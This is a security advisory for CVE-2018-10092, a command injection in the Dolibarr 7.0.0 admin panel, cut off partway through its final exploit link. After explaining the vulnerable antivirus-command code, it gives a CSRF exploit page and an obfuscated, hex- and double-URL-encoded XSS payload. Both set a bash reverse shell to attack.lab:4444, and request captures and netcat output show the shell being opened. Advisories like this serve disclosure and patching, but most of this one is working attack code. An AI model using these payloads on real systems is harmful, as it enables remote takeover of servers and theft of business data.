Dolibarr 7.0.0 Admin Panel Remote Code Execution

2018-05-27T00:00:00
ID PACKETSTORM:147923
Type packetstorm
Reporter Kevin Locati
Modified 2018-05-27T00:00:00

Description

                                        
                                            `# [CVE-2018-10092] Dolibarr admin panel authenticated Remote Code  
Execution (RCE) vulnerability  
  
  
## Description  
  
Dolibarr is an "Open Source ERP & CRM for Business" used by many  
companies worldwide.  
  
It is available through [GitHub](https://github.com/Dolibarr/dolibarr)  
or as distribution packages (e.g .deb package).  
  
**Threat**  
  
By tricking a logged-in admin into clicking a malicious link, or by  
getting admin privileges in some other way, a remote attacker can  
achieve remote code execution (RCE) on the target server.  
  
**Expectation**  
  
User input should be filtered to avoid arbitrary OS command injection.  
  
Arbitrary external commands should be defined in a configuration file  
which is not editable by an ERP user.  
  
  
## Vulnerability type  
  
**CVE ID**: CVE-2018-10092  
  
**Access Vector**: remote  
  
**Security Risk**: high  
  
**Vulnerability**: CWE-78  
  
**CVSS Base Score**: 9.0  
  
**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H  
  
  
## Details  
  
The admin panel allows to define an antivirus command and parameters,  
which are run every time a file is uploaded and scanned.  
  
However, it is possible for an authenticated user to specify an  
arbitrary command to be run instead of the antivirus scanner. The  
injected command would be triggered after uploading a file to scan,  
which effectively leads to executing arbitrary code on the server.  
  
The command to be run is stored in the config variables  
`MAIN_ANTIVIRUS_COMMAND` and `MAIN_ANTIVIRUS_PARAM`, which can be set by  
the admin through the Web interface.  
  
Then, when a file is uploaded by a user, the function  
`dol_move_uploaded_file()` (defined in `files.lib.php`) is called:  
  
```php  
function dol_move_uploaded_file($src_file, $dest_file, $allowoverwrite,  
$disablevirusscan=0, $uploaderrorcode=0, $nohook=0, $varfiles='addedfile')  
{  
... snip ...  
  
// If we need to make a virus scan  
if (empty($disablevirusscan) && file_exists($src_file))  
{  
$checkvirusarray=dolCheckVirus($src_file);  
if (count($checkvirusarray))  
{  
dol_syslog('Files.lib::dol_move_uploaded_file File  
"'.$src_file.'" (target name "'.$dest_file.'") KO with antivirus:  
result='.$result.' errors='.join(',',$checkvirusarray), LOG_WARNING);  
return 'ErrorFileIsInfectedWithAVirus:  
'.join(',',$checkvirusarray);  
}  
}  
  
... snip ...  
  
return 1; // Success  
}  
```  
  
Which calls `dolCheckVirus()`:  
  
```php  
function dolCheckVirus($src_file)  
{  
global $conf;  
  
if (! empty($conf->global->MAIN_ANTIVIRUS_COMMAND))  
{  
if (! class_exists('AntiVir')) {  
require_once DOL_DOCUMENT_ROOT.'/core/class/antivir.class.php';  
}  
$antivir=new AntiVir($db);  
$result = $antivir->dol_avscan_file($src_file);  
if ($result < 0) // If virus or error, we stop here  
{  
$reterrors=$antivir->errors;  
return $reterrors;  
}  
}  
return array();  
}  
```  
  
Which in turn calls `dol_avscan_file()` (defined in  
`antivir.class.php`), where the return value of `getCliCommand()` is  
passed to the `exec()` PHP function:  
  
```php  
function dol_avscan_file($file)  
{  
global $conf;  
  
$return = 0;  
  
if (preg_match('/\.virus$/i', $file))  
{  
$this->errors='File has an extension saying file is a virus';  
return -97;  
}  
  
$fullcommand=$this->getCliCommand($file);  
//$fullcommand='"c:\Program Files  
(x86)\ClamWin\bin\clamscan.exe" --database="C:\Program Files  
(x86)\ClamWin\lib" "c:\temp\aaa.txt"';  
$fullcommand.=' 2>&1'; // This is to get error output  
  
$output=array();  
$return_var=0;  
$safemode=ini_get("safe_mode");  
// Create a clean fullcommand  
dol_syslog("AntiVir::dol_avscan_file Run  
command=".$fullcommand." with safe_mode ".($safemode?"on":"off"));  
// Run CLI command. If run of Windows, you can get return with  
echo %ERRORLEVEL%  
$lastline=exec($fullcommand, $output, $return_var);  
  
//print "x".$lastline." - ".join(',',$output)." -  
".$return_var."y";exit;  
  
... snip ...  
  
// If return code = 0  
return 1;  
}  
```  
  
The `getCliCommand()` routine uses the `MAIN_ANTIVIRUS_COMMAND` to  
format the antivirus command to be executed. Even though  
`escapeshellarg()` is used, it is possible for this variable to hold  
arbitrary shell commands which will be concatenated and executed:  
  
```php  
function getCliCommand($file)  
{  
global $conf;  
  
$maxreclevel = 5 ; // maximal recursion level  
$maxfiles = 1000; // maximal number of files to be  
scanned within archive  
$maxratio = 200; // maximal compression ratio  
$bz2archivememlim = 0; // limit memory usage for bzip2 (0/1)  
$maxfilesize = 10485760; // archived files larger than this  
value (in bytes) will not be scanned  
  
$command=$conf->global->MAIN_ANTIVIRUS_COMMAND;  
$param=$conf->global->MAIN_ANTIVIRUS_PARAM;  
  
$param=preg_replace('/%maxreclevel/',$maxreclevel,$param);  
$param=preg_replace('/%maxfiles/',$maxfiles,$param);  
$param=preg_replace('/%maxratio/',$maxratio,$param);  
$param=preg_replace('/%bz2archivememlim/',$bz2archivememlim,$param);  
$param=preg_replace('/%maxfilesize/',$maxfilesize,$param);  
$param=preg_replace('/%file/',trim($file),$param);  
  
if (! preg_match('/%file/',$conf->global->MAIN_ANTIVIRUS_PARAM))  
$param=$param." ".escapeshellarg(trim($file));  
  
if (preg_match("/\s/",$command))  
$command=escapeshellarg($command); // Use quotes on command. Using  
escapeshellcmd fails.  
  
$ret=$command.' '.$param;  
//$ret=$command.' '.$param.' 2>&1';  
//print "xx".$ret."xx";exit;  
  
return $ret;  
}  
```  
  
## Proof of Concept 1 : Exploiting CSRF control bypass  
  
Dolibarr generates an anti-CSRF token which is not checked by default.  
Another control on the `Referer` header is also perfomed (in  
`filefunc.inc.php`):  
  
```  
// Security: CSRF protection  
// This test check if referrer ($_SERVER['HTTP_REFERER']) is same web  
site than Dolibarr ($_SERVER['HTTP_HOST'])  
// when we post forms (we allow GET to allow direct link to access a  
particular page).  
// Note about $_SERVER[HTTP_HOST/SERVER_NAME]:  
http://shiflett.org/blog/2006/mar/server-name-versus-http-host  
if (! defined('NOCSRFCHECK') && empty($dolibarr_nocsrfcheck))  
{  
if (! empty($_SERVER['REQUEST_METHOD']) &&  
$_SERVER['REQUEST_METHOD'] != 'GET' && ! empty($_SERVER['HTTP_HOST'])  
&& (empty($_SERVER['HTTP_REFERER']) || !  
preg_match('/'.preg_quote($_SERVER['HTTP_HOST'],'/').'/i',  
$_SERVER['HTTP_REFERER'])))  
{  
//print 'NOCSRFCHECK='.defined('NOCSRFCHECK').'  
REQUEST_METHOD='.$_SERVER['REQUEST_METHOD'].'  
HTTP_POST='.$_SERVER['HTTP_HOST'].' HTTP_REFERER='.$_SERVER['HTTP_REFERER'];  
print "Access refused by CSRF protection in main.inc.php.  
Referer of form is outside server that serve the POST.\n";  
print "If you access your server behind a proxy using url  
rewriting, you might check that all HTTP header is propagated (or add  
the line \$dolibarr_nocsrfcheck=1 into your conf.php file).\n";  
die;  
}  
// Another test is done later on token if option  
MAIN_SECURITY_CSRF_WITH_TOKEN is on.  
}  
if (empty($do  
```  
  
However, this controlled can be bypassed since the check only ensures  
the header contains the server's domain name in its URL. If the victim  
application is at `http://dolibarr.lab`, requesting from  
`http://attack.lab/dolibar.lab/exploit.html` would therefore bypass the  
control.  
  
By tricking a logged-in admin into clicking our exploit link, we can  
therefore make him change the antivirus command to our exploit payload  
silently.  
  
Here is a sample exploit page which will change the antivirus scan  
command to a reverse shell payload:  
  
```html  
<html>  
<body>  
  
<form  
action="http://dolibarr.lab:2080/dolibarr/admin/security_file.php"  
method="POST" id="form1" target="iframe1">  
<input type="hidden" name="action" value="updateform" />  
<input type="hidden" name="MAIN_UPLOAD_DOC" value="2048" />  
<input type="hidden" name="MAIN_UMASK" value="0664" />  
<input type="hidden" name="MAIN_ANTIVIRUS_COMMAND" value="test" />  
<input type="hidden" name="MAIN_ANTIVIRUS_PARAM" value=";/bin/bash  
-c '/bin/bash>/dev/tcp/attack.lab/4444 0>&1 2>&1 &'" />  
<input type="hidden" name="button" value="Modify" />  
</form>  
<iframe style="display: hidden" height="0" width="0" frameborder="0"  
name="iframe1"></iframe>  
  
<script>  
document.forms[0].submit();  
</script>  
</body>  
</html>  
```  
  
The file is hosted in a `dolibarr.lab:2080` subdirectory so the  
`Referer` header will look similar to the following when the admin  
visits our page:  
  
```  
POST /dolibarr/admin/security_file.php HTTP/1.1  
Host: dolibarr.lab:2080  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101  
Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://attack.lab/RCE/dolibarr.lab:2080/  
Cookie:  
DOLSESSID_cac4a1e49e4040e845340fe919bd202b=s14k43jo6qsscat79c5ofdb822  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 214  
  
action=updateform&MAIN_UPLOAD_DOC=2048&MAIN_UMASK=0664&MAIN_ANTIVIRUS_COMMAND=test&MAIN_ANTIVIRUS_PARAM=%3B%2Fbin%2Fbash+-c+%27%2Fbin%2Fbash%3E%2Fdev%2Ftcp%2Fattack.lab%2F4444+0%3E%261+2%3E%261+%26%27&button=Modify  
```  
  
Hence the request is accepted by the Dolibarr application and the  
antivirus command is replaced with our payload. Next time a file is  
uploaded, a reverse shell is opened on our attacking machine:  
  
```  
POST /dolibarr/admin/security_file.php HTTP/1.1  
Host: dolibarr.lab:2080  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101  
Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://dolibarr.lab:2080/dolibarr/admin/security_file.php  
Cookie:  
DOLSESSID_cac4a1e49e4040e845340fe919bd202b=s14k43jo6qsscat79c5ofdb822  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: multipart/form-data;  
boundary=---------------------------214479305914244921141324238339  
Content-Length: 866  
  
-----------------------------214479305914244921141324238339  
Content-Disposition: form-data; name="section_dir"  
  
  
-----------------------------214479305914244921141324238339  
Content-Disposition: form-data; name="section_id"  
  
0  
-----------------------------214479305914244921141324238339  
Content-Disposition: form-data; name="token"  
  
c2bf19bb9927006593e01e8cd1e08e10ef7a8605  
-----------------------------214479305914244921141324238339  
Content-Disposition: form-data; name="max_file_size"  
  
2097152  
-----------------------------214479305914244921141324238339  
Content-Disposition: form-data; name="userfile[]"; filename="test.log"  
Content-Type: text/x-log  
  
foobarr  
  
-----------------------------214479305914244921141324238339  
Content-Disposition: form-data; name="sendit"  
  
Send file  
-----------------------------214479305914244921141324238339--  
```  
  
```  
$ nc -lvp 4444  
listening on [any] 4444 ...  
192.168.0.15: inverse host lookup failed: Unknown host  
connect to [192.168.0.15] from (UNKNOWN) [192.168.0.15] 38080  
id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
```  
  
  
## Proof of Concept 2 : Exploiting XSS vulnerability  
  
By exploiting the XSS vulnerability on the application, it is possible  
to both set the antivirus command and upload a dummy file so as to  
trigger our payload immediately.  
  
Here is an exploit code that will update the antivirus command to a  
reverse shell payload and trigger it with a file upload.  
  
```php  
function stage1()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("POST",  
"http:\/\/dolibarr.lab:2080\/dolibarr\/admin\/security_file.php", true);  
xhr.setRequestHeader("Accept",  
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");  
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");  
xhr.setRequestHeader("Content-Type",  
"application\/x-www-form-urlencoded");  
xhr.withCredentials = true;  
var body =  
"action=updateform&MAIN_UPLOAD_DOC=2048&MAIN_UMASK=0664&MAIN_ANTIVIRUS_COMMAND=test&MAIN_ANTIVIRUS_PARAM=%3B%2Fbin%2Fbash+-c+%27%2Fbin%2Fbash%3E%2Fdev%2Ftcp%2Fattack.lab%2F4444+0%3E%261+2%3E%261+%26%27&button=Modify";  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);  
xhr.send(new Blob([aBody]));  
}  
  
function stage2()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("POST",  
"http://dolibarr.lab:2080\/dolibarr\/admin\/security_file.php", true);  
xhr.setRequestHeader("Content-Type", "multipart\/form-data;  
boundary=---------------------------13516173183538375091983714991");  
xhr.withCredentials = true;  
var body =  
"-----------------------------13516173183538375091983714991\r\n" +  
"Content-Disposition: form-data; name=\"userfile[]\";  
filename=\"test.txt\"\r\n" +  
"Content-Type: text/plain\r\n" +  
"\r\n" +  
"foobar\r\n" +  
"-----------------------------13516173183538375091983714991\r\n" +  
"Content-Disposition: form-data; name=\"sendit\"\r\n" +  
"\r\n" +  
"Send file\r\n" +  
"-----------------------------13516173183538375091983714991--\r\n";  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);  
xhr.send(new Blob([aBody]));  
}  
  
stage1();  
setTimeout(stage2, 2000);  
```  
  
To deliver it, we will hex encode it and paste it into our vulnerable  
XSS link:  
  
**hex decoder function**  
  
```php  
function hex2a(hex) {var str = "";for(var i = 0; i <  
hex.length;i+=2){str += String.fromCharCode(parseInt(hex.substr(i, 2),  
16));}return str;}  
```  
  
**urlencoded twice**  
  
```  
%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61  
```  
  
```  
$ cat xssrce.js|xxd -ps|tr -d '\n'  
  
66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a  
```  
  
  
**Javascript payload**  
  
```javascript  
eval(unescape(unescape("%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61")));eval(hex2a("66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a"))  
```  
  
**Resulting exploit link**  
  
```  
http://dolibarr.lab:2080/dolibarr/adherents/subscription/list.php?date_select=2018%3E%3Cimg+src%3dx+onerror%3deval(unescape(unescape("%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61")));eval(hex2a("66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d65